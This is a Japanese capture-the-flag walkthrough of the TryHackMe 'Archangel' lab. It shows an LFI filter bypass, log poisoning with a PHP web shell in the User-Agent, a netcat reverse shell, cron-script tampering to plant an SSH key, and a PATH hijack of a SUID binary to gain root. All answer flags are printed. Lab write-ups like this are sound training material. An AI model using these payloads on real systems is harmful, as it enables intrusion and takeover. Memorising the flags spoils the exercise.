【TryHackMe】Archangel：Walkthrough

# 概要

TryHackMe「Archangel」のWalkthroughです。

https://tryhackme.com/r/room/archangel

# Task2

## **Q1**.*Find a different hostname*

ポートスキャンを実行します。

```
$ nmap -Pn -sC -sV -A -T4 -p- 10.10.238.190 -oN nmap_result
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 9f:1d:2c:9d:6c:a4:0e:46:40:50:6f:ed:cf:1c:f3:8c (RSA)
|   256 63:73:27:c7:61:04:25:6a:08:70:7a:36:b2:f2:84:0d (ECDSA)
|_  256 b6:4e:d2:9c:37:85:d6:76:53:e8:c4:e0:48:1c:ae:6c (ED25519)
80/tcp open  http    Apache/2.4.29 (Ubuntu)
|_http-title: Wavefire
|_http-server-header: Apache/2.4.29 (Ubuntu)
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|22|ssh|OpenSSH 7.6p1|
|80|http|Apache/2.4.29|

Webページにアクセスしメールから`mafialive.thm`のホスト名を発見しました。

![hostname.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/85b100b8-011c-3d21-b152-0e561569aacd.jpeg)

**A**.**mafialive.thm**

## **Q2**.*Find flag 1*

ホスト名が分かったので`/etc/hosts`ファイルに追記します。

```
10.10.238.190   mafialive.thm
```

ドメイン名で再度アクセスするとフラグが表示されました。

![q2 flag.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/b10826fc-c614-1b41-e46a-8493023691eb.jpeg)

**A**.**thm{f0und_th3_r1ght_h0st_n4m3}**

## **Q3**.*Look for a page under development*

**Hint**.*FUZZ!!*

ディレクトリの列挙を行います。

```
$ dirsearch -u http://mafialive.thm/
[05:53:03] 200 -   34B  - /robots.txt
[05:53:15] 200 -  221B  - /test.php
```

`/robots.txt`からも`/test.php`の情報を得られました。

```/robots.txt
User-agent: *
Disallow: /test.php
```

**A**.**test.php**

## **Q4**.*Find flag 2*

**Hint**.*Best way to exploit lfi is to look at the code*

`/test.php`にアクセスします。

![test page.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/c1d6acea-d473-a4ee-afda-46d90dad0131.jpeg)

ボタンをクリックするとクエリパラメータでファイルを読み込んでいるので、LFIの脆弱性の可能性があります。

```
/test.php?view=/var/www/html/development_testing/mrrobot.php
```

LFIのパラメータを入れましたが、失敗しました。
フィルタリングされている可能性があります。

![LFI error.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/538f4f46-f2ab-ff4b-4fe0-5d5aa8fbb765.jpeg)

ヒントから`/var/www/html/development_testing/test.php`のソースコードを見る必要があります。
`Hacktricks`で`php://filter`と`base64`を利用してフィルターをバイパスする手法を見つけました。

https://book.hacktricks.xyz/pentesting-web/file-inclusion#php-filter

パラメータに入れると`/var/www/html/development_testing/test.php`を、`base64`でエンコードしたものを得られました。

```
/test.php?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/test.php
```

コードの中にフラグを発見しました。

```/var/www/html/development_testing/test.php
<!DOCTYPE HTML>
<html>

<head>
    <title>INCLUDE</title>
    <h1>Test Page. Not to be Deployed</h1>
 
    </button></a> <a href="/test.php?view=/var/www/html/development_testing/mrrobot.php"><button id="secret">Here is a button</button></a><br>
        <?php

            //FLAG: thm{explo1t1ng_lf1}

            function containsStr($str, $substr) {
                return strpos($str, $substr) !== false;
            }
            if(isset($_GET["view"])){
            if(!containsStr($_GET['view'], '../..') && containsStr($_GET['view'], '/var/www/html/development_testing')) {
                include $_GET['view'];
            }else{

                echo 'Sorry, Thats not allowed';
            }
        }
        ?>
    </div>
</body>

</html> 
```

**A**.**thm{explo1t1ng_lf1}**

## **Q5**.*Get a shell and find the user flag*

**Hint**.*Poison!!!*

コードを見るとLFIの条件がわかりました。

- **`LFIの条件`**

- `../..`がパラメータに使われていないこと
- `/var/www/html/development_testing/`がパラメータに使用されていること

再度`Hacktricks`を見ると`..//..//..//etc/passwd`のような場合でもLFIが出来るようです。


https://book.hacktricks.xyz/pentesting-web/file-inclusion#filter-bypass-tricks

パラメータをセットし`/etc/passwd`を参照できました。

```
/test.php?view=/var/www/html/development_testing/..//..//..//..//..//etc/passwd
```

![lfi success.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/d65d318e-efdc-3e3e-7d7e-63005f95af22.jpeg)

`archangel`アカウントを発見しました。
`.ssh/`は参照できなかったので、リバースシェルを試みます。

https://book.hacktricks.xyz/pentesting-web/file-inclusion#lfi2rce

`/var/log/apache2/access.log`を参照できました。

![var log.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/5e1e5d59-b6b7-fcda-50dc-4c689c4ce2c0.jpeg)

`User-Agent`に`<?php system($_GET['c']); ?>`を設定し、クエリパラメータでRCEに成功しました。

![rce success.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/1fb1953f-41d1-0dd5-c72f-5798566166af.jpeg)

リバースシェルのペイロードを作成します。

https://www.revshells.com/

ペイロードをURLエンコードしリクエストを送信します。

![rev shell request.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/f277d19f-8579-f96b-759d-0d5c96617168.jpeg)

`www-data`のシェルを取得できました。

```
 nc -lvnp 1234                                            
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.17.103] 37252
www-data@ubuntu:/var/www/html/development_testing$ whoami
whoami
www-data
```

`/home/archangel/user.txt`からフラグを入手できます。

```/home/archangel/user.txt
thm{lf1_t0_rc3_1s_tr1cky}
```

**A**.**thm{lf1_t0_rc3_1s_tr1cky}**

# Task3

## **Q1**.*Get User 2 flag*

`archangel`アカウントへの昇格を目指します。
`/etc/crontab`でクロンジョブを確認すると`/opt/helloworld.sh`を発見しました。

```
*/1 *   * * *   archangel /opt/helloworld.sh
```

`/opt/helloworld.sh`は編集権限があることを確認できました。

```
$ ls -la
ls -la
total 16
drwxrwxrwx  3 root      root      4096 Nov 20  2020 .
drwxr-xr-x 22 root      root      4096 Nov 16  2020 ..
drwxrwx---  2 archangel archangel 4096 Nov 20  2020 backupfiles
-rwxrwxrwx  1 archangel archangel   66 Nov 20  2020 helloworld.sh
```

`/opt/helloworld.sh`の処理内容を確認すると`hello world`という文字を`/opt/backupfiles/helloworld.txt`に出力しています。

```/opt/helloworld.sh
#!/bin/bash
echo "hello world" >> /opt/backupfiles/helloworld.txt
```

`/home/archangel/secret`に権限を追加する処理を`/opt/helloworld.sh`に追記します。

```
$ echo "chmod 777 /home/archangel/secret" >> /opt/helloworld.sh
```

`/home/archangel/secret/user2.txt`からフラグを入手できます。

```
$ cat /home/archangel/secret/user2.txt
cat /home/archangel/secret/user2.txt
thm{h0r1zont4l_pr1v1l3g3_2sc4ll4t10n_us1ng_cr0n}
```

**A**.**thm{h0r1zont4l_pr1v1l3g3_2sc4ll4t10n_us1ng_cr0n}**

## **Q2**.*Root the machine and find the root flag*

**Hint**.*certain paths are dangerous*

SSH接続するために`/home/archangel/.ssh`を作成し、KaliのSSH公開鍵を`/home/archangel/.ssh/authorized_keys`に登録します。

```
$ echo "mkdir /home/archangel/.ssh" >> helloworld.sh
$ echo <kali pub key>" > /home/archangel/.ssh/authorized_keys
$ echo "chmod 700 /home/archangel/.ssh" >> helloworld.sh
```

`archangel`でSSH接続に成功しました。

```
$ ssh archangel@mafialive.thm
archangel@ubuntu:~$
```

SUIDを検索すると`/home/archangel/secret/backup`がヒットしました。

```
$ find / -user root -perm -4000 2>/dev/null
/home/archangel/secret/backup
```

`/home/archangel/secret/backup`の処理を確認すると`/home/user/archangel/myfiles/`配下を`/opt/backupfiles`にコピーしていると分かりました。

```
$ strings /home/archangel/secret/backup
cp /home/user/archangel/myfiles/* /opt/backupfiles
```

`cp`コマンドを偽造します。

```
$ cd /tmp
$ echo "/bin/bash" > cp
$ chmod 777 cp
$ export PATH=/tmp:$PATH
```

`/home/archangel/secret/backup`を実行しroot権限を取得できました。

```
$ /home/archangel/secret/backup 
root@ubuntu:/tmp# whoami
root
```

rootフラグファイルを検索します。

```
# find / -name *root.txt* 2>/dev/null
/root/root.txt
```

`/root/root.txt`からフラグを入手できます。

```/root/root.txt
thm{p4th_v4r1abl3_expl01tat1ion_f0r_v3rt1c4l_pr1v1l3g3_3sc4ll4t10n}
```
**A**.**thm{p4th_v4r1abl3_expl01tat1ion_f0r_v3rt1c4l_pr1v1l3g3_3sc4ll4t10n}**